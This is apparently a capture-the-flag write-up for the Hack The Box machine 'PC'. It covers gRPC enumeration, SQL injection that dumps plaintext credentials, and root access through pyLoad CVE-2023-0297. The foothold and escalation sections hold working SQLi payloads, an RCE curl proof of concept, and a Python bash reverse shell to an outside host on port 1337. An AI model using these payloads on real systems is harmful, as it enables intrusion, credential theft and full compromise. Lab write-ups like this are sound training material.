HTB - PC
Overview
PC is an Easy Difficulty Linux machine that features a gRPC
endpoint that is vulnerable to SQL Injection.
Initial foothold: After enumerating and dumping the database’s contents, plaintext credentials lead to SSH
access to the machine.
Privilege escalation: Listing locally running ports reveals an outdated version of the pyLoad
service, which is susceptible to pre-authentication Remote Code Execution (RCE) via CVE-2023-0297
. As the service is run by root
, exploiting this vulnerability leads to fully elevated privileges.
Information gathering
Nmap port-scan:
1
2
3
4
5
$ sudo nmap -sS -A -Pn --min-rate 10000 -p- 10.10.11.214
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
50051/tcp open unknown
Nmap info:
- SSH server open, but no creds to leverage it.
50051
open –> find more.
Port 50051
Not much to do here, other than learning more what port 50051
is used for. By googling “tcp port 50051 services” we get multiple references to gRPC
:
Searching for “what is gRPC”, the product’s homepage shows up and let us know that gRPC is a high performance, open source universal Remote Procedure Call framework (g
stands for Google!):
There is also an interesting reference about a blog post from Postman, which is a popular tool for testing Application Programming Interfaces (APIs). It seems that gRPC is an API architectural style, that functions different from the “classical” REST APIs: REST exposes resource URLs to clients, while gRPC exposes procedures.
Another thing to note, is that we need specialized gRPC software in order to interact with it, such as gprcurl: the curl
of gRPC servers. We can download a suitable binary and go through its GitHub documentation.
Let’s start by listing the server’s services:
1
2
3
4
# listing services
$ ./grpcurl -plaintext 10.10.11.214:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection
The output lists 2 services: grpc.reflection.v1alpha.ServerReflection
and SimpleApp
. The former one seems to be a default one, so we will try to explore the latter:
1
2
3
4
5
# listing service's methods
$ ./grpcurl -plaintext 10.10.11.214:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo
We can see that the SimpleApp
services contains 3 methods: LoginUser
, RegisterUser
, and getInfo
. We can also use describe
to obtain further info about the service:
1
2
3
4
5
6
7
8
# get information about a service
$ ./grpcurl -plaintext 10.10.11.214:50051 describe SimpleApp
SimpleApp is a service:
service SimpleApp {
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}
The output describes how each method work: what is expects as input and their respective responses. We can also use describe
on the methods themselves:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# get more information about each method
$ ./grpcurl -plaintext 10.10.11.214:50051 describe LoginUserRequest
LoginUserRequest is a message:
message LoginUserRequest {
string username = 1;
string password = 2;
}
$ ./grpcurl -plaintext 10.10.11.214:50051 describe RegisterUserRequest
RegisterUserRequest is a message:
message RegisterUserRequest {
string username = 1;
string password = 2;
}
$ ./grpcurl -plaintext 10.10.11.214:50051 describe getInfoRequest
getInfoRequest is a message:
message getInfoRequest {
string id = 1;
}
The LoginUser
and RegisterUser
endpoints expect a message in the form of 2 strings: username
and password
as input, while the getInfo
endpoint expects just an id
.
We can now attempt to register ourselves! We can pass data for request contents via the -d
flag:
1
2
$ ./grpcurl -plaintext -format text -d 'username: "xhi4m", password: "xhi4m"' 10.10.11.214:50051 SimpleApp.RegisterUser
message: "Account created for user xhi4m!"
We successfully created an account, thus, the next step is to login with it:
1
2
$ ./grpcurl -plaintext -format text -d 'username: "xhi4m", password: "xhi4m"' 10.10.11.214:50051 SimpleApp.LoginUser
message: "Your id is 277."
We get back an id
, so we can also now call the getInfo
endpoint:
1
2
$ ./grpcurl -plaintext -format text -d 'id: "277"' 10.10.11.214:50051 SimpleApp.getInfo
message: "Authorization Error.Missing 'token' header"
Apparently, the getInfo
endpoint requires a token along with the id
parameter. We can try logging again, but this time increasing the output’s verbosity level:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ./grpcurl -plaintext -format text -d 'username: "xhi4m", password: "xhi4m"' -vv 10.10.11.214:50051 SimpleApp.LoginUser
Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
Request metadata to send:
(empty)
Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
Estimated response size: 17 bytes
Response contents:
message: "Your id is 524."
Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8'
Sent 1 request and received 1 response
We can pass any additional headers with the -H
flag, so let’s call the getInfo
endpoint again:
The
id
’s value changes every time we login!
1
2
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524"' 10.10.11.214:50051 SimpleApp.getInfo
message: "Will update soon."
Initial foothold
gRPC endpoints can be susceptible to similar vulnerabilities as REST ones. Our data (name
, password
, id
) must be stored within a database in the backend, thus, we could check if any parameter is vulnerable to SQLi:
1
2
3
# test for SQLi vulnerability
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524 OR 1=1"' 10.10.11.214:50051 SimpleApp.getInfo
message: "The admin is working hard to fix the issues."
The id
parameter seems to be vulnerable to SQLi. Let’s start by enumerating the number of columns by incrementing the number of the ORDER BY
clause until we get an error:
1
2
3
4
5
6
7
8
# enumerate the number of columns returned
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524 ORDER BY 1"' 10.10.11.214:50051 SimpleApp.getInfo
message: "Will update soon."
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524 ORDER BY 2"' 10.10.11.214:50051 SimpleApp.getInfo
ERROR:
Code: Unknown
Message: Unexpected <class 'TypeError'>: bad argument type for built-in operation
We get an error back on ORDER BY 2
, so the table must have just 1 column. Next, we can try enumerating the database’s version:
1
2
3
# enumerate the version of the database
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524 UNION SELECT sqlite_version()"' 10.10.11.214:50051 SimpleApp.getInfo
message: "3.31.1"
We are dealing with an SQLite database. Let’s now enumerate the database tables:
1
2
3
# enumerate table names
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524 UNION SELECT name FROM sqlite_master WHERE type=\"table\";--"' 10.10.11.214:50051 SimpleApp.getInfo
message: "accounts"
Next, we can check the column names of the accounts
table; since we know that the query only returns 1 column back, we will have to use the GROUP_CONCAT
method:
SQLite stores table-related information in the
pragma_table_info
system table.
1
2
3
# enumerate columns names
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524 UNION SELECT GROUP_CONCAT(name, \",\") FROM pragma_table_info(\"accounts\");--"' 10.10.11.214:50051 SimpleApp.getInfo
message: "username,password"
Now we know the column names, we can dump their contents:
1
2
3
# dump table's contents
$ ./grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieGhpNG0iLCJleHAiOjE3MDYwMDA4NTN9.SYtVq0KNJQLIfkfkDPhEM6Cdu0zxHeAmr7tTX6tI-r8' -d 'id: "524 UNION SELECT GROUP_CONCAT(username || password) FROM accounts;--"' 10.10.11.214:50051 SimpleApp.getInfo
message: "adminadmin,sauHereIsYourPassWord1431"
We manage to get credentials back: admin:admin
and sau:HereIsYourPassWord1431
! Let’s try logging into SSH with them:
1
2
3
4
5
6
7
8
9
10
11
12
# ssh as admin
$ ssh admin@10.10.11.214
admin@10.10.11.214's password:
Permission denied, please try again.
admin@10.10.11.214's password:
# ssh as sau
$ ssh sau@10.10.11.214
sau@10.10.11.214's password:
sau@pc:~$ cat user.txt
<SNIP>
Success!
Privilege escalation
Let’s see what the user sau
can do:
1
2
3
4
5
6
7
# check user's group memberships
sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)
# check if current user can run anything with elevated privileges
sau@pc:~$ sudo -l
[sudo] password for sau:
Sorry, user sau may not run sudo on localhost.
He does not belong to any interesting group neither can run anything with elevated privileges. Next, we can search for SUID files:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# search for SUID files
sau@pc:~$ find / -type f -perm -u=s 2>/dev/null
/snap/snapd/17950/usr/lib/snapd/snap-confine
/snap/core20/1778/usr/bin/chfn
/snap/core20/1778/usr/bin/chsh
/snap/core20/1778/usr/bin/gpasswd
/snap/core20/1778/usr/bin/mount
/snap/core20/1778/usr/bin/newgrp
/snap/core20/1778/usr/bin/passwd
/snap/core20/1778/usr/bin/su
/snap/core20/1778/usr/bin/sudo
/snap/core20/1778/usr/bin/umount
/snap/core20/1778/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1778/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/at
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/umount
/usr/bin/gpasswd
Unfortunately, nothing out of the ordinary in the above list. We can proceed by checking what ports are open locally:
1
2
3
4
5
6
7
8
9
10
# list open ports
sau@pc:/$ netstat -ntl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp6 0 0 :::50051 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
There is port 8000
that only listens locally (127.0.0.1
) and port 9666
which listens on all interfaces (0.0.0.0
) but was not discovered in our initial nmap
port-scan. We can try reaching the former via curl
:
1
2
3
4
5
6
sau@pc:/$ curl 127.0.0.1:8000
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F">/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F</a>. If not, click the link.
That’s interesting…let’s follow the redirection to /login
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
sau@pc:/$ curl 127.0.0.1:8000/login
<!DOCTYPE html>
<html lang="en">
<SNIP>
<title>Login - pyLoad </title>
<SNIP>
<div class="col-sm-4 col-sm-offset-4">
<div class="form-group">
<label for="username">Username</label>
<input type="text" class="form-control" id="username" size="20" name="username" autocomplete="off">
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" class="form-control reveal-pass" id="password" size="20" name="password" autocomplete="off">
</div>
<button type="submit" name="submit" value="Login" class="btn btn-primary">
<span class="glyphicon glyphicon-log-in"></span> SIGN IN
</button>
</div>
<SNIP>
<p>Note: to solve this invisible captcha<br>
Please install the <a href='https://tampermonkey.net/' target='_blank'>Tampermonkey</a> add-on in your browser and add the <a href="/static/js/captcha-interactive.user.js">pyload userscript</a>.
</p>
<SNIP>
</body>
</html>
After going through the output, we can infer that this is indeed a login page as it seems to ask for username
, password
, and solving a CAPTCHA. Another thing to note down is that it is using pyload
which is a “friendly Web User Interface allows full managing and easily remote access from anywhere!”.
Let’s now check if pyload
is running in our target:
1
2
3
# check if pyload is running as a process
sau@pc:/$ ps -aux | grep pyload
root 1046 0.0 1.4 1216804 59900 ? Ssl 06:16 0:04 /usr/bin/python3 /usr/local/bin/pyload
The app is indeed running as a process with elevated privileges (root
). Next, we should find out its version and check if there are any known vulnerabilities for it:
1
2
3
# check pyload's version
sau@pc:/$ pyload --version
pyLoad 0.5.0
Searching for “pyload 0.5.0 exploit” multiple references to CVE-2023-0297 pop up, which is an RCE vulnerability! A GitHub repo exists that explain the vulnerability and also includes a link to a PoC, which seems to be just a curl
command:
1
2
3
4
# PoC command
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
What the above URL-encoded command does, is simply importing the os
module and uses it to create a file within the tmp
directory (\"touch%20/tmp/pwnd\"
) as a proof of concept.
What we need to do, is to inject a reverse shell script and make the system execute it using pyload
, and since the app runs as root
, we should get back a root
shell. We can create our script within the /tmp
directory in which we have write
access:
1
2
3
4
5
6
7
8
9
10
# move into the /tmp directory
sau@pc:/$ cd /tmp
# open a text editor
sau@pc:/tmp$ nano pwn.py
# give execute permissions to the script
sau@pc:/tmp$ chmod +x pwn.py
# display the script's contents
sau@pc:/tmp$ cat pwn.py
import os
os.system("bash -c '/bin/bash -i >& /dev/tcp/10.10.14.5/1337 0>&1'")
Now, we have to modify the PoC code, in particular the jk
parameter and the <target>
placeholder. We want to execute our script via the following command: python3 /tmp/pwn.py
instead of just creating a file, and add our localhost socket so the pyload
process can execute our script:
1
2
3
4
# modifying the PoC
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"python3%20/tmp/pwn.py\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
Next, we open a listener on our attack host:
1
2
3
# opening a listener to catch the shell
$ nc -lnvp 1337
listening on [any] 1337 ...
And, execute the payload:
1
2
3
sau@pc:/tmp$ curl -i -s -k -X $'POST' \
> --data-binary $'jk=pyimport%20os;os.system(\"python3%20/tmp/pwn.py\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
> $'http://127.0.0.1:8000/flash/addcrypted2'
Back on our listener:
1
2
3
4
5
6
7
8
$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.214] 60820
bash: cannot set terminal process group (1046): Inappropriate ioctl for device
bash: no job control in this shell
root@pc:~/.pyload/data# cat /root/root.txt
cat /root/root.txt
<SNIP>